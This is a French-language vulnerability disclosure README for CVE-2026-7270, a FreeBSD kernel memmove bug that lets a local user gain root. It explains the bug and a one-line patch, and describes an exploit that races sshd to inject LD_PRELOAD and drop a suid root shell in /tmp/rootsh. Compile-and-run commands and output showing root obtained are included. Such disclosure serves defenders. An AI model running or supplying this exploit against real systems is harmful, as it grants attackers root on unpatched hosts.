
CVE-2026-7270 Élévation de privilèges locale sous FreeBSD via exec_args_adjust_args OOB memmove
https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270
Élévation de privilèges locale sous FreeBSD via exec_args_adjust_args memmove hors limites
Un bug de précédence d'opérateur dans exec_args_adjust_args() (sys/kern/kern_exec.c, présent depuis 2013) permet à tout utilisateur local d'élever ses privilèges à root sur une installation FreeBSD par défaut avec sshd en cours d'exécution. Aucun binaire suid, aucun module noyau, aucune modification de configuration requis.
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); /* BUG: + devrait être - */
+ consume devrait être - consume. Le mauvais signe fait copier au memmove 2 * consume octets au lieu des endp - begin_argv - consume corrects. Avec un argv[0] de 265 185 octets dans un exec shebang, le memmove déborde de l'entrée exec_map de 528 384 octets de 2 024 octets dans l'entrée adjacente — aucun crash, aucun signal, aucune erreur de page.
L'exploit met en concurrence le memmove hors limites avec le fork/execv de sshd sur les connexions TCP entrantes. sshd-session est exécuté de root à root sans transition suid/sgid, donc issetugid() renvoie 0 et l'éditeur de liens dynamique honore LD_PRELOAD. L'exploit place LD_PRELOAD=/tmp/evil.so dans l'entrée exec_map de sshd-session ; le constructeur de evil.so s'exécute avec uid=0 et dépose un shell root suid dans /tmp/rootsh.
Root obtenu au tour 5 030, ~6 secondes après le lancement sur une VM à 4 CPU.
| Versions affectées | FreeBSD 11.0 à 14.4 (toutes les versions ; aucun correctif dans aucune branche à la date de divulgation) |
| Prérequis | Shell local non privilégié ; sshd en cours d'exécution (par défaut sur FreeBSD) |
| Fiabilité | ~0,6 % de taux de réussite par tour ; root en quelques secondes sur un système à 4 CPU |
| Testé | FreeBSD 14.4-RELEASE-p1 amd64, noyau GENERIC, 4 CPU, 2 Go de RAM |
Changez un caractère dans sys/kern/kern_exec.c :
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
Sur une cible FreeBSD 14.4, en tant que n'importe quel utilisateur non privilégié :
gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... quelques secondes ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
Sous QEMU (hôte macOS, nécessite qemu et sshpass) :
./run_poc.sh # démarre la VM, compile, exécute l'exploit
./run_poc.sh run # relance contre une VM déjà en cours d'exécution
./run_poc.sh clean # supprime les artefacts de la VM
$ ./run_poc.sh
[*] Démarrage de la VM FreeBSD 14.4 (4 CPU, 2 Go de RAM, SSH sur le port 2225)...
[*] PID QEMU 25908, journal : vm.log
[*] Attente de SSH sur le port 2225...
[*] SSH opérationnel après 1s
[*] Copie du code source de l'exploit vers la VM...
[*] Création de l'utilisateur non privilégié 'freebsd' et compilation...
[*] Compilation réussie
[*] Exécution de l'exploit en tant que 'freebsd' (jusqu'à 15 000 tours)...
[*] Surveillez ROOT OBTAINED ci-dessous :
[!!!] ROOT OBTENU !
uid=0 euid=0 pid=3413
[!!!] Shell root : /tmp/rootsh -p
[*] Vérification de root...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh
=== id via rootsh ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] Arrêt de la VM (pid 25908)...
| Fichier | Description |
|---|
exec1_lpe21.c | Exploit autonome — compilez et exécutez en tant qu'utilisateur non privilégié |
run_poc.sh | Automatisation QEMU : démarre FreeBSD 14.4, compile et exécute l'exploit |
WRITEUP.md | Analyse technique complète : analyse du bug, architecture de l'exploit, historique de développement |
blog.md | Récit narratif de la découverte et du développement de l'exploit |
images/ | Diagrammes SVG : disposition exec_map, mécanisme d'auto-copie, vue d'ensemble complète de l'attaque |